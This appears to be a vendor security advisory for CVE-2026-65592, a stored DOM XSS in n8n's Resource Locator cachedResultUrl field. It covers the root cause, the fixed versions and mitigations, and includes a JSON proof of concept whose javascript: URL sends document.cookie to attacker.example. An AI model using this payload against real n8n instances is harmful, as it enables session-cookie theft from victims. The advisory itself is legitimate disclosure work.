highCVE-2026-65592Jul 22, 2026

CVE-2026-65592: n8n Stored DOM XSS via Resource Locator cachedResultUrl

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An authenticated n8n user can craft a workflow that runs arbitrary JavaScript in a victim's browser by storing a javascript: URL in the cachedResultUrl field of a Resource Locator parameter.

Packagen8n
Ecosystemnpm
Affected< 1.123.64
Fixed in1.123.64

The problem

n8n's Resource Locator component stores the resolved URL for a selected resource in a workflow-persisted field called cachedResultUrl. When a user clicks the external-link icon next to a Resource Locator field, the editor calls window.open(cachedResultUrl) directly.

Before 1.123.64, no scheme validation was performed on that value. An attacker with workflow-create or workflow-edit permission can set cachedResultUrl to a javascript: URL. When a victim opens the shared workflow and clicks the link icon, the payload fires in their browser session, inheriting the victim's n8n authentication context.

Proof of concept

A working proof-of-concept for CVE-2026-65592 in n8n, with the exact payload below.

json
{
  "__rl": true,
  "mode": "list",
  "value": "repo-id",
  "cachedResultName": "My Repo",
  "cachedResultUrl": "javascript:fetch('https://attacker.example/steal?c='+document.cookie)"
}

The root cause is a missing URL scheme allowlist before the window.open() call that consumes cachedResultUrl. The javascript: scheme causes the browser to evaluate the string as a script in the current origin instead of opening a new page. The patch adds a check that only allows http: and https: schemes; any other value (javascript:, data:, vbscript:) is rejected before the call is made.

This is a classic CWE-79 Stored DOM XSS via unsafe sink (window.open with unsanitized input).

The fix

Upgrade to n8n 1.123.64, 2.29.8, or 2.30.1. The fix validates that cachedResultUrl begins with http: or https: before passing it to window.open(). If you cannot upgrade immediately, restrict workflow-create and workflow-edit permissions to fully trusted users only, and audit existing workflows for cachedResultUrl values that do not start with http:// or https://.

Reported by Jubke (n8n security team, advisory publisher).

References: [1][2][3][4][5][6]

Related research